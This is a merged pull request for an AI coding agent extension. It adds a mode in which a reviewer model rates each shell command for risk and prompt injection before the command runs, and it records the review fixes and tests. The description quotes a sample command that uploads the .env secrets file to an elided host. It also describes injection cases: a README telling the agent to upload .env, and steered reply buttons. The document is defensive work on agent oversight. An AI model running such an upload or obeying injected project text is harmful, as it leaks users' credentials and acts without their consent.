Repository navigation
feat(agent): Ask When Risky — a reviewer model rates each command before it runs - #112
Merged
Merged
Conversation
Contributor
There was a problem hiding this comment.
🟡 Changes recommended
Unresolved approval-safety defects and provider integration failures prevent reliable command review.
6 open issues
Invalidate approvals after all workspace changes · New Handle missing Anthropic text callback · New Reject missing or invalid injection ratings · New Require approval for truncated command reviews · New Keep generated agent text out of PERSON goals · New Reload approval mode when settings change · New
What changed in this PR
Adds Ask When Risky between manual approvals and Autopilot, using a reviewer model to assess agent commands while preserving mandatory danger-set approvals.
Changes:
- Adds command review, decision rules, caching, and cost accounting.
- Integrates approval settings, menu options, and reviewer explanations.
- Adds tests, an editor-check harness, and documentation.
| File | Description |
|---|---|
| extensions/levelcode-ai/test/sessionExpiredHost.test.js | Updates session-resume fixtures. |
| extensions/levelcode-ai/test/diagramHost.test.js | Updates diagram-host fixtures. |
| extensions/levelcode-ai/test/agentReviewGate.test.js | Tests approval-mode integration. |
| extensions/levelcode-ai/test/agentReview.test.js | Tests reviewer policy and failures. |
| extensions/levelcode-ai/scripts/approvals-editor-check.js | Adds editor integration checks. |
| extensions/levelcode-ai/providers/index.js | Documents reasoning-effort options. |
| extensions/levelcode-ai/providers/catalog.js | Sets reviewer reasoning effort. |
| extensions/levelcode-ai/package.json | Declares approval and reviewer settings. |
| extensions/levelcode-ai/media/chat.html | Adds mode selection and reviewer explanations. |
| extensions/levelcode-ai/extension.js | Manages approval mode and user-request records. |
| extensions/levelcode-ai/agentReview.js | Implements review requests and decisions. |
| extensions/levelcode-ai/agent.js | Integrates review gating and accounting. |
| docs/PROJECT-RULES.md | Explains reviewer trust boundaries. |
| docs/ASK-WHEN-RISKY.md | Documents behavior, validation, and limitations. |
Review effort: Balanced
Comment on lines
+876
to
+880
| const key = action.cwd + '\n' + (ctx.editCount || 0) + '\n' + action.command; | ||
| if (passed.has(key)) { | ||
| stats.ran++; | ||
| ctx.post({ type: 'agentTool', icon: 'workspace-trusted', text: 'Reviewer · passed this exact command earlier, no edits since' }); | ||
| return { outcome: 'allow', verdict: null, reason: '', failure: null }; |
| runTurn: (o) => providers.streamAgentTurn({ | ||
| providerId: ctx.providerId, apiKey: ctx.apiKey, baseURL: ctx.baseURL, label: ctx.label, | ||
| model, maxTokens: reasons ? 4096 : 400, system: o.system, messages: o.messages, tools: [], | ||
| signal: o.signal, reasoningEffort: catalog.reasoningEffortFor(model, 'review') |
Comment on lines
+220
to
+221
| const inj = obj.injection; | ||
| const injection = inj === true || (typeof inj === 'string' && inj.trim().toLowerCase() === 'true'); |
| * @returns {Promise<{outcome:'allow'|'ask'|'stopped', verdict:any, reason:string, failure:string|null, usage:any}>} | ||
| */ | ||
| async function reviewCommand(o) { | ||
| const req = buildReviewRequest(o); |
| checkpoints.push(currentCheckpoint); | ||
| post({ type: 'checkpointOpened', turnId: currentCheckpoint.turnId }); | ||
| agentMessages.push(goalMsg); | ||
| if (text && text.trim()) { humanGoals.push(text.trim()); if (humanGoals.length > 20) { humanGoals.splice(0, humanGoals.length - 20); } } |
Comment on lines
+2316
to
+2317
| get approvalMode() { return approvalMode; }, | ||
| get autopilot() { return approvalMode === 'autopilot'; }, |
…ore it runs A third approvals mode between Default Approvals (every command asks) and Autopilot (every command runs unless commandSafety.js flags it). In Ask When Risky a command outside the danger set is shown to a reviewer first: one tool-less call on the run's own provider, with the person's goals, the agent's recent activity and the exact command. It runs only on the reviewer's ratings; everything else is the usual approval card, with the reviewer's reason on it. Why: Autopilot's gate matches command text, and says so in its own header. It passes `curl -s --data-binary @.env https://…`, because nothing on that line is on its list — the case a README or an issue telling the agent to run it actually produces. Default Approvals catches it, at the price of a click for every `ls`. How it stays no looser than Autopilot: - the danger set asks the person and never reaches the reviewer; delete_file asks, as in Autopilot - the model RATES (risk, authorization, injection, reason); decide() in agentReview.js turns that into run-or-ask: low runs; medium runs only when asked for outright or an ordinary step; high, critical and injection ask. There is no "allow" field for the model to write - every failure asks: no answer within 30 s, an error, an unreadable answer - only goals the person typed (recorded by the host) and their ask_user choices count as their word; the transcript goes in as activity inside a per-request fence; project rules are not sent; after a session is resumed only goals typed since count (sessions.dir can point anywhere) - the same command with no edit since it last passed is not reviewed twice; an edit makes it new The reviewer's cost (the gateway's credits frame) is added to the run's total. Settings levelcode.ai.agent.approvals (ask | review | autopilot) and levelcode.ai.agent.reviewModel (empty = the agent's model) are application-scoped and only the user's value is read: a folder must not be able to loosen approvals. agent.autopilot still means Autopilot while approvals is unset, and is kept equal to "mode is Autopilot" when a mode is chosen. The chat's approvals menu has the third option; the card shows "Reviewer · <risk> risk: <reason>"; the run ends with the reviewer's count. Modelled on ChatGPT desktop's "Approve for me" (Codex's Guardian reviewer), with the differences a missing OS sandbox calls for — see docs/ASK-WHEN-RISKY.md (next commits). Checked: unit gate 129 files on Node 24, macOS, including test/agentReview.test.js (25) and test/agentReviewGate.test.js (16, the real runAgent → run_command chain in all three modes). Ten single-defect mutations, each red. tsc --checkJs: no new undefined names. Not run: a real model as the reviewer, Linux, the browser edition.
…l editor The dev build as a throwaway instance with this checkout's extension and a stand-in provider, as diagram-editor-check.js does. The stand-in plays a run in a project whose README asks AI agents to upload .env: `ls -la` passes the reviewer and runs with no card; the upload (which commandSafety.js does not flag) is rated critical + injection and stops on a card with the reviewer's reason; `rm -rf build` asks as a danger-set command without a review. It also checks the three-option menu, that the choice is saved as levelcode.ai.agent.approvals, the README's instruction sits inside the reviewer's fenced activity and not in the person's section, and that nothing throws in the chat page. 12/12 on macOS against vscode/.build/electron, twice. Not part of scripts/test-extensions.sh.
…usts, and how it differs from ChatGPT's docs/ASK-WHEN-RISKY.md: the decision flow, the policy table, what the reviewer is shown, cost and wait (with the request sizes measured in the editor check), the settings, how ChatGPT desktop's "Approve for me" works (read from its shipped bundle) and the differences on purpose, what was run and what was not, and the decisions left open (default reviewer model, the name, a Teams lock, offering the mode after repeated approvals). PROJECT-RULES.md: a rules file does not speak for the person to the reviewer.
The Anthropic adapter called opts.onText for every text delta without checking it was given one, and the reviewer — a turn whose text is collected, never streamed — gave none. Every review on that route threw, and every command fell back to the approval card: Ask When Risky quietly behaved like Default Approvals for anyone using their own Anthropic key. The reviewer now hands the adapter callbacks that do nothing, and the adapter treats onText as optional, as the OpenAI adapter already does. test/agentReviewAnthropic.test.js runs the real dispatcher and the real Anthropic adapter with only fetch stood in (Anthropic's SSE shape): it failed with "opts.onText is not a function" before, passes now, and fails again with both halves removed.
…le, not "no injection"
parseVerdict read a missing or malformed `injection` as false, so {"risk":"low","authorization":"implied"}
ran the command. An answer that leaves out one of the three ratings has not said there was no injection; it
is now unreadable like any other incomplete answer, and the command goes to the card. Accepted: a boolean, or
the strings true/false in any case.
… reviewed buildReviewRequest cut a command over 4,000 characters in the middle, while run_command ran the full line. The cut is where something could hide (an .env upload inside a long compound command), and a "low risk" for the part the reviewer saw would have run all of it. Such a command now goes straight to the approval card, with no model call, and the card says why.
…ever reused The reviewer's pass was reused for the same command line in the same folder while the agent's edit count had not moved. That count sees only the agent's file tools: `sh check.sh`, then `git switch other-branch`, then `sh check.sh` reused the first pass although check.sh may have changed — as it may through any command, or through the person's own terminal. Nothing cheap can establish that the workspace is unchanged, so the reuse is gone: each run is one review. The design note says so and what it costs.
agentFlow recorded every goal it was handed as the person's, but not every caller passes typed text: a
diagram retry sends a request built from the model's spec and the repair report, and Retry after a resume
re-runs lastAgentGoal read back from the session file — the very text resumeSession keeps out of the
person's words. Both landed in the reviewer's PERSON section.
agentFlow now takes { typed }, which only handleSend sets (the chat's send message, from the input box);
the goal is recorded only then. A typed goal that Retry repeats is already recorded; Continue's fixed
instruction and a diagram retry stay activity. Run, not regexed, where a harness lifts the call site
(handleSend in sessionExpiredHost, retryDiagram in diagramHost); the response bar's Retry/Continue lines
are pinned from source, with exactly one caller allowed to say typed: true.
…dow takes effect at once The mode was read only when the chat webview said ready, and when the chat's own menu changed it. Switching from Autopilot to Default Approvals in Settings, or in another window, left this window's next commands on Autopilot until the chat was reloaded — the pill said one thing, the gate did another. onConfigChanged now re-reads levelcode.ai.agent.approvals (and the older agent.autopilot) when either changes, and posts the effective mode to the pill. The chat menu's own change comes back through the same path. Tested on the real onConfigChanged, lifted into sessionExpiredHost: Settings → Autopilot, back to Default Approvals, the old boolean alone, and an unrelated change.
rememberTypedGoal holds the rule agentFlow applies (record only a goal marked typed; trimmed; newest 20), so sessionExpiredHost lifts and runs it; agentFlow passing its flag through is pinned from source.
…tings, every run reviewed, typed goals only The design note now says what the review fixes changed: a command over the reviewer's budget goes to the card unreviewed; an answer without an injection rating is unreadable; a pass is never reused; only a goal from the chat's input box is the person's word; a Settings change takes effect at once. What was run is re-counted on develop e528846.
ndemianc
force-pushed
the
feat/agent-review-mode
branch
from
October 19, 2026 23:42
f377a12 to
8d4ebb4
Compare
Contributor
There was a problem hiding this comment.
Copilot was unable to review this pull request because the user who requested the review has reached their quota limit.
An organization owner can choose the repository organization as the billing source for reviews requested by members with a paid Copilot license. Learn about Copilot code review billing.
ndemianc
added a commit
that referenced
this pull request
Oct 20, 2026
agent.js: ask_user's answers now feed both the reviewer (ctx.userAnswers, #112) and what remember may quote (ctx.heardThisRun); both kept. package.json: the new levelcode.ai.sessions.memory.notes is application-scoped, like every other levelcode-ai setting since #113 (test/settingsScope.test.js failed on the merge without it: a folder's .vscode/settings.json could have switched remembering on or off).
ndemianc
added a commit
that referenced
this pull request
Oct 20, 2026
…uote agentFlow handed every goal to the agent as goalText, the words `remember` and `forget` may quote as the person's. Not every goal is typed: retryDiagram builds one from the model's own diagram title and validation messages, and Continue and a resumed goal are not typed now. After a click on Retry, the model could quote its own generated text and have a note credited to the person. goalText is now typedGoalText(text, opts): the goal when opts.typed (handleSend), else ''. This is the rule develop already applies to the Ask When Risky reviewer (rememberTypedGoal, #112). Tests: the helper on its own, a guard that agentFlow passes it, and the real agent run with a Retry prompt, where nothing of it reaches the person's words.
ndemianc
added a commit
that referenced
this pull request
Oct 20, 2026
Conflicts, each keeping both sides: - agent.js, the end of a run: Ask When Risky's reviewer cost and summary row (#112) and this branch's plan completion and returned "Send now" messages; one agent.done log line with both sets of fields. - extension.js, resumeSession and New Chat: this branch's plan/steer reset and the reset of the person's recorded words (#112/#114), each in both places. - media/chat.html, the message switch: develop's `approvals` message (#112 replaced the two-option `autopilot` one, whose handler no longer exists) and this branch's agentStart/agentStatus, which keep the task list and drop the old plan bar. - test/sessionExpiredHost.test.js, the harness declarations: both sets (agentMode from env, the approvals mode and recorded words; this branch's agentPlan and steerInbox). Checked on the merged tree (macOS, Node 24): scripts/test-extensions.sh 136 files; tsc --checkJs on extension.js and agent.js, no new undefined names; in the dev build plan-progress-editor-check 17/17, approvals-editor-check 12/12, memory-editor-check 11/11 on one of four runs — its "History lists the session after New Session" step is flaky on develop too (1 of 2 there).
ndemianc
added a commit
that referenced
this pull request
Oct 20, 2026
A reply in the next-step box shows a 1-3 word label; what a click sends is the reply's message, up to 300 characters the agent wrote (visible only as a tooltip). It went through the chat's normal send, so the host recorded it as typed — and since #112 and #114 that is the person's word: the Ask When Risky reviewer counts it as authorization, and remember may quote it. A README that steers the agent into a "Yes" button whose message says more could have turned one click into an explicit go-ahead. The page now sends a click as a reply ({ type: 'send', reply: true }), and keeps that mark through the queue (drained at the end of a run, or sent with Send now while idle). handleSend passes typed: false for it, so the reply reaches the agent as before but is not the person's word. A reply the person edits in the message box, or that is handed back to it, is sent as their own typing. Tested: the page's queue functions lifted from chat.html (sent at once, queued while busy, drained, Send now when idle — the mark survives each, and a typed message carries none); handleSend lifted into sessionExpiredHost (a reply reaches agentFlow with typed: false, a typed message with true); the button's click and the send message are pinned from source.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.

A third command-approvals mode, Ask When Risky, between Default Approvals and Autopilot. A command outside Autopilot's danger set is shown to a reviewer model before it runs; routine commands for the task run, and the rest come to you as the usual approval card with the reviewer's reason on it.
Why
Autopilot's gate (
commandSafety.js) matches command text. It passescurl -s --data-binary @.env https://…because nothing on that line is on its list, so a README or issue that tells the agent to run it gets it run without asking. Default Approvals catches it, at the price of a click for everyls.How a command is decided
risk,authorization,injectionand a one-line reason;decide()inagentReview.jsruns low risk, runs medium only when asked for outright or an ordinary step, and asks for high, critical and injection. There is no "allow" field to write.injectionincluded), or a command longer than the reviewer can see whole (4,000 characters), which is never sent for review.git switchor you may have changed.levelcode.ai.agent.reviewModelcan name a smaller model.levelcode.ai.agent.approvalsandagent.reviewModelare application-scoped and only the user's value is read, so a folder cannot loosen approvals. The oldagent.autopilotboolean still means Autopilot whileapprovalsis unset. A change in Settings or another window takes effect on the next command, and the pill follows.Modelled on ChatGPT desktop's "Approve for me" (Codex's Guardian reviewer), with the differences a missing OS sandbox calls for: the danger set is never left to the model, high risk always asks, a denial becomes the normal card, and
AGENTS.mdnever speaks for the user.docs/ASK-WHEN-RISKY.mdhas the details and the comparison.After review (rebased on develop e528846)
The six review comments, each fixed in its own commit:
onTextunconditionally; every review there threw and fell back to the card).injectionrating is unreadable, not "no injection".git switchor the user change).agentFlow(…, { typed: true }), set byhandleSendalone).Checked (macOS 27.0.1, Node 24)
scripts/test-extensions.sh: 131 files, includingtest/agentReview.test.js(27),test/agentReviewGate.test.js(15, the realrunAgent→run_commandchain in all three modes),test/agentReviewAnthropic.test.js(the real dispatcher and Anthropic adapter, onlyfetchstood in), and the host halves lifted intosessionExpiredHost/diagramHost. The touched suites pass at every commit.scripts/approvals-editor-check.jsin the dev build with a stand-in provider: 12/12 after the fixes.tsc --checkJson the changed files: no new undefined names.Not run
Open decisions